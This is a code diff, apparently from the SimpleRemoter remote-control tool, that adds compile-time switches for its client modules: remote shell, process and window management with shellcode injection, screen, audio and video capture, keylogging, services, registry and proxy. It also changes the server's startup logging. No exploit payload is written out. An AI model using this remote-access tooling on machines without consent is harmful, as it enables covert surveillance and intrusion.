||||||
bool IsWindows8orHigher()
|
|
||||||
{
|
|
||||||
typedef LONG(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
|
||||||
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
|
|
||||||
if (!hMod) return false;
|
|
||||||
|
|
||||||
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
|
|
||||||
if (!rtlGetVersion) return false;
|
|
||||||
|
|
||||||
RTL_OSVERSIONINFOW rovi = { 0 };
|
|
||||||
rovi.dwOSVersionInfoSize = sizeof(rovi);
|
|
||||||
if (rtlGetVersion(&rovi) == 0) {
|
|
||||||
return (rovi.dwMajorVersion > 6) || (rovi.dwMajorVersion == 6 && rovi.dwMinorVersion >= 2);
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL priv):CManager(ClientObject)
|
CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL priv):CManager(ClientObject)
|
||||||
{
|
{
|
||||||
#ifndef PLUGIN
|
#ifndef PLUGIN
|
||||||
@@ -2641,3 +2643,4 @@ DWORD WINAPI CScreenManager::AudioThreadProc(LPVOID lpParam)
|
|||||||
Mprintf("音频线程退出\n");
|
Mprintf("音频线程退出\n");
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -10,6 +10,13 @@
|
|||||||
#endif // _MSC_VER > 1000
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
|
|
||||||
|
bool IsWindows8orHigher();
|
||||||
|
|
||||||
|
#if ENABLE_SCREEN==0
|
||||||
|
#define CScreenManager CManager
|
||||||
|
#else
|
||||||
|
|
||||||
#include "ScreenSpy.h"
|
#include "ScreenSpy.h"
|
||||||
#include "ScreenCapture.h"
|
#include "ScreenCapture.h"
|
||||||
|
|
||||||
@@ -21,8 +28,6 @@ struct IAudioCaptureClient;
|
|||||||
|
|
||||||
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
|
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
|
||||||
|
|
||||||
bool IsWindows8orHigher();
|
|
||||||
|
|
||||||
BOOL IsRunningAsSystem();
|
BOOL IsRunningAsSystem();
|
||||||
|
|
||||||
class IOCPClient;
|
class IOCPClient;
|
||||||
@@ -121,4 +126,6 @@ public:
|
|||||||
void HandleAudioCtrl(BYTE enable, BYTE persist); // 处理音频控制命令
|
void HandleAudioCtrl(BYTE enable, BYTE persist); // 处理音频控制命令
|
||||||
};
|
};
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|
||||||
|
|||||||
@@ -6,6 +6,8 @@
|
|||||||
#include "ServicesManager.h"
|
#include "ServicesManager.h"
|
||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
|
|
||||||
|
#if ENABLE_SERVICE_MNG
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -306,3 +308,4 @@ void CServicesManager::ServicesConfig(PBYTE szBuffer, ULONG ulLength)
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -10,6 +10,9 @@
|
|||||||
#endif // _MSC_VER > 1000
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
|
#if ENABLE_SERVICE_MNG==0
|
||||||
|
#define CServicesManager CManager
|
||||||
|
#else
|
||||||
|
|
||||||
class CServicesManager : public CManager
|
class CServicesManager : public CManager
|
||||||
{
|
{
|
||||||
@@ -22,5 +25,6 @@ public:
|
|||||||
void ServicesConfig(PBYTE szBuffer, ULONG ulLength);
|
void ServicesConfig(PBYTE szBuffer, ULONG ulLength);
|
||||||
SC_HANDLE m_hscManager;
|
SC_HANDLE m_hscManager;
|
||||||
};
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif // !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_)
|
#endif // !defined(AFX_SERVICESMANAGER_H__02181EAA_CF77_42DD_8752_D809885D5F08__INCLUDED_)
|
||||||
|
|||||||
@@ -7,6 +7,8 @@
|
|||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
#include <IOSTREAM>
|
#include <IOSTREAM>
|
||||||
|
|
||||||
|
#if ENABLE_SHELL
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -188,3 +190,4 @@ CShellManager::~CShellManager()
|
|||||||
Sleep(200); // wait for thread to exit
|
Sleep(200); // wait for thread to exit
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -12,6 +12,10 @@
|
|||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
#include "IOCPClient.h"
|
#include "IOCPClient.h"
|
||||||
|
|
||||||
|
#if ENABLE_SHELL==0
|
||||||
|
#define CShellManager CManager
|
||||||
|
#else
|
||||||
|
|
||||||
class CShellManager : public CManager
|
class CShellManager : public CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
@@ -33,5 +37,6 @@ public:
|
|||||||
HANDLE m_hShellProcessHandle; //保存Cmd进程的进程句柄和主线程句柄
|
HANDLE m_hShellProcessHandle; //保存Cmd进程的进程句柄和主线程句柄
|
||||||
HANDLE m_hShellThreadHandle;
|
HANDLE m_hShellThreadHandle;
|
||||||
};
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif // !defined(AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_)
|
#endif // !defined(AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_)
|
||||||
|
|||||||
@@ -12,6 +12,8 @@
|
|||||||
#define PSAPI_VERSION 1
|
#define PSAPI_VERSION 1
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
#if ENABLE_PROC_WND
|
||||||
|
|
||||||
#include <Psapi.h>
|
#include <Psapi.h>
|
||||||
#include "ShellcodeInj.h"
|
#include "ShellcodeInj.h"
|
||||||
|
|
||||||
@@ -323,3 +325,4 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要
|
|||||||
*(LPBYTE*)lParam = szBuffer;
|
*(LPBYTE*)lParam = szBuffer;
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -12,6 +12,10 @@
|
|||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
#include "IOCPClient.h"
|
#include "IOCPClient.h"
|
||||||
|
|
||||||
|
#if ENABLE_PROC_WND==0
|
||||||
|
#define CSystemManager CManager
|
||||||
|
#else
|
||||||
|
|
||||||
class CSystemManager : public CManager
|
class CSystemManager : public CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
@@ -27,5 +31,6 @@ public:
|
|||||||
void SendWindowsList();
|
void SendWindowsList();
|
||||||
void TestWindow(LPBYTE szBuffer);
|
void TestWindow(LPBYTE szBuffer);
|
||||||
};
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)
|
#endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)
|
||||||
|
|||||||
@@ -9,6 +9,8 @@
|
|||||||
#include <IOSTREAM>
|
#include <IOSTREAM>
|
||||||
#include <mmsystem.h>
|
#include <mmsystem.h>
|
||||||
|
|
||||||
|
#if ENABLE_MESSAGE
|
||||||
|
|
||||||
#pragma comment(lib, "WINMM.LIB")
|
#pragma comment(lib, "WINMM.LIB")
|
||||||
|
|
||||||
#define ID_TIMER_POP_WINDOW 1
|
#define ID_TIMER_POP_WINDOW 1
|
||||||
@@ -153,3 +155,4 @@ VOID CTalkManager::OnDlgTimer(HWND hDlg) //时钟回调
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -11,6 +11,10 @@
|
|||||||
|
|
||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
|
|
||||||
|
#if ENABLE_MESSAGE==0
|
||||||
|
#define CTalkManager CManager
|
||||||
|
#else
|
||||||
|
|
||||||
class CTalkManager : public CManager
|
class CTalkManager : public CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
@@ -28,5 +32,6 @@ public:
|
|||||||
char g_Buffer[TALK_DLG_MAXLEN];
|
char g_Buffer[TALK_DLG_MAXLEN];
|
||||||
UINT_PTR g_Event;
|
UINT_PTR g_Event;
|
||||||
};
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)
|
#endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)
|
||||||
|
|||||||
@@ -7,6 +7,8 @@
|
|||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
|
|
||||||
|
#if ENABLE_VIDEO_MNG
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -190,3 +192,4 @@ BOOL CVideoManager::Initialize()
|
|||||||
}
|
}
|
||||||
return bRet;
|
return bRet;
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -13,6 +13,10 @@
|
|||||||
#include "CaptureVideo.h"
|
#include "CaptureVideo.h"
|
||||||
#include "VideoCodec.h"
|
#include "VideoCodec.h"
|
||||||
|
|
||||||
|
#if ENABLE_VIDEO_MNG==0
|
||||||
|
#define CVideoManager CManager
|
||||||
|
#else
|
||||||
|
|
||||||
class CVideoManager : public CManager
|
class CVideoManager : public CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
@@ -37,5 +41,6 @@ public:
|
|||||||
CVideoCodec *m_pVideoCodec; //压缩类
|
CVideoCodec *m_pVideoCodec; //压缩类
|
||||||
void Destroy();
|
void Destroy();
|
||||||
};
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif // !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_)
|
#endif // !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_)
|
||||||
|
|||||||
@@ -8,6 +8,8 @@
|
|||||||
#include "stdio.h"
|
#include "stdio.h"
|
||||||
#include <process.h>
|
#include <process.h>
|
||||||
|
|
||||||
|
#if ENABLE_PROXY
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -290,3 +292,4 @@ SOCKET* CProxyManager::GetSocket(DWORD index, BOOL del)
|
|||||||
|
|
||||||
return s;
|
return s;
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -2,6 +2,11 @@
|
|||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
#include <map>
|
#include <map>
|
||||||
|
|
||||||
|
#if ENABLE_PROXY==0
|
||||||
|
#define CProxyManager CManager
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
class CProxyManager : public CManager
|
class CProxyManager : public CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
@@ -40,3 +45,5 @@ struct SocksThreadArg {
|
|||||||
LPBYTE lpBuffer;
|
LPBYTE lpBuffer;
|
||||||
int len;
|
int len;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -1629,6 +1629,12 @@ typedef struct ClientMsg {
|
|||||||
strcpy_s(this->title, title ? title : "提示信息");
|
strcpy_s(this->title, title ? title : "提示信息");
|
||||||
strcpy_s(this->text, text ? text : "");
|
strcpy_s(this->text, text ? text : "");
|
||||||
}
|
}
|
||||||
|
ClientMsg(const char* title, const char* text, int textLen)
|
||||||
|
{
|
||||||
|
cmd = TOKEN_CLIENT_MSG;
|
||||||
|
strcpy_s(this->title, title ? title : "提示信息");
|
||||||
|
memcpy(this->text, text, textLen);
|
||||||
|
}
|
||||||
} ClientMsg;
|
} ClientMsg;
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
@@ -1,6 +1,25 @@
|
|||||||
|
|
||||||
|
/// 开源协议合规开关
|
||||||
|
|
||||||
// 请设置为禁用,防止GPL开源传染性
|
// 请设置为禁用,防止GPL开源传染性
|
||||||
#define DISABLE_X264_FOR_TEST 0
|
#define DISABLE_X264_FOR_TEST 0
|
||||||
|
|
||||||
// 请设置为禁用,防止GPL开源传染性
|
// 请设置为禁用,防止GPL开源传染性
|
||||||
#define DISABLE_FFMPEG_FOR_TEST 0
|
#define DISABLE_FFMPEG_FOR_TEST 0
|
||||||
|
|
||||||
|
/// 客户端功能开关
|
||||||
|
|
||||||
|
#define ENABLE_SHELL TRUE // 终端管理
|
||||||
|
#define ENABLE_PROC_WND TRUE // 进程/窗口管理
|
||||||
|
#define ENABLE_SCREEN TRUE // 远程桌面
|
||||||
|
#define ENABLE_FILE_MNG TRUE // 文件管理
|
||||||
|
#define ENABLE_AUDIO_MNG TRUE // 语音管理
|
||||||
|
#define ENABLE_VIDEO_MNG TRUE // 视频管理
|
||||||
|
#define ENABLE_SERVICE_MNG TRUE // 服务管理
|
||||||
|
#define ENABLE_REGISTRY TRUE // 注册表管理
|
||||||
|
#define ENABLE_KEYBOARD TRUE // 键盘记录
|
||||||
|
|
||||||
|
#define ENABLE_MESSAGE TRUE // 远程消息
|
||||||
|
#define ENABLE_PROXY TRUE // 代理映射
|
||||||
|
|
||||||
|
#define DISABLED_FEATURE "Feature Disabled"
|
||||||
|
|||||||
@@ -277,7 +277,7 @@
|
|||||||
#define BRAND_URL_REQUEST_AUTH "https://simpleremoter.com/"
|
#define BRAND_URL_REQUEST_AUTH "https://simpleremoter.com/"
|
||||||
|
|
||||||
// 获取插件
|
// 获取插件
|
||||||
#define BRAND_URL_GET_PLUGIN "This feature has not been implemented!\nPlease contact: 962914132@qq.com"
|
#define BRAND_URL_GET_PLUGIN "https://simpleremoter.com/login"
|
||||||
|
|
||||||
// ============================================================
|
// ============================================================
|
||||||
// 内部使用 - 请勿修改以下内容
|
// 内部使用 - 请勿修改以下内容
|
||||||
|
|||||||
@@ -752,6 +752,7 @@ func main() {
|
|||||||
logCfg.Compress = true
|
logCfg.Compress = true
|
||||||
|
|
||||||
log := logger.New(logCfg)
|
log := logger.New(logCfg)
|
||||||
|
log.Info("====== Copyright (c) 2026 simpleremoter.com. All rights resvered. ======")
|
||||||
|
|
||||||
// Track env vars where we fell back to a built-in default. Printed once
|
// Track env vars where we fell back to a built-in default. Printed once
|
||||||
// at the end of startup so the operator sees what's in effect — vars the
|
// at the end of startup so the operator sees what's in effect — vars the
|
||||||
@@ -961,33 +962,30 @@ func main() {
|
|||||||
}()
|
}()
|
||||||
}
|
}
|
||||||
|
|
||||||
fmt.Printf("Server started on port(s): %v\n", ports)
|
log.Info("Server started on port(s): %v", ports)
|
||||||
if *httpPort != 0 {
|
if *httpPort != 0 {
|
||||||
fmt.Printf("Web UI on http://localhost:%d/\n", *httpPort)
|
log.Info("Web UI on http://localhost:%d/", *httpPort)
|
||||||
if usingDefaultWebPass {
|
if usingDefaultWebPass {
|
||||||
fmt.Printf(" Default login: admin / %s (set YAMA_WEB_ADMIN_PASS to override)\n",
|
log.Info("Default login: admin / %s (set YAMA_WEB_ADMIN_PASS to override)", defaultWebAdminPass)
|
||||||
defaultWebAdminPass)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if licenseHTTP != nil {
|
if licenseHTTP != nil {
|
||||||
fmt.Printf("License Server on http://%s/license/{sign,heartbeat}\n", licAddr)
|
log.Info("License Server on http://%s/license/{sign,heartbeat}", licAddr)
|
||||||
}
|
}
|
||||||
if len(defaultsUsed) > 0 {
|
if len(defaultsUsed) > 0 {
|
||||||
fmt.Println()
|
|
||||||
fmt.Println("[!] Using built-in defaults (set the env var to override):")
|
|
||||||
for _, d := range defaultsUsed {
|
for _, d := range defaultsUsed {
|
||||||
fmt.Printf(" %s = %s\n", d.name, d.value)
|
log.Info("[!] Using built-in defaults (set the env var to override): %s = %s", d.name, d.value)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
fmt.Println("Logs are written to: logs/server.log")
|
log.Info("Logs are written to: logs/server.log")
|
||||||
fmt.Println("Press Ctrl+C to stop...")
|
log.Info("Press Ctrl+C to stop...")
|
||||||
|
|
||||||
// Wait for interrupt signal
|
// Wait for interrupt signal
|
||||||
sigChan := make(chan os.Signal, 1)
|
sigChan := make(chan os.Signal, 1)
|
||||||
signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)
|
signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)
|
||||||
<-sigChan
|
<-sigChan
|
||||||
|
|
||||||
fmt.Println("\nShutting down...")
|
log.Info("\nShutting down...")
|
||||||
// Order matters: drain License Server HTTP first so no handleSign is
|
// Order matters: drain License Server HTTP first so no handleSign is
|
||||||
// mid-flight; THEN close the signer (which may release HTTP keepalives
|
// mid-flight; THEN close the signer (which may release HTTP keepalives
|
||||||
// in RemoteSigner mode, or be a no-op for LocalSigner/NoOp).
|
// in RemoteSigner mode, or be a no-op for LocalSigner/NoOp).
|
||||||
@@ -1003,5 +1001,5 @@ func main() {
|
|||||||
for _, srv := range servers {
|
for _, srv := range servers {
|
||||||
srv.Stop()
|
srv.Stop()
|
||||||
}
|
}
|
||||||
fmt.Println("Server stopped")
|
log.Info("Server stopped")
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user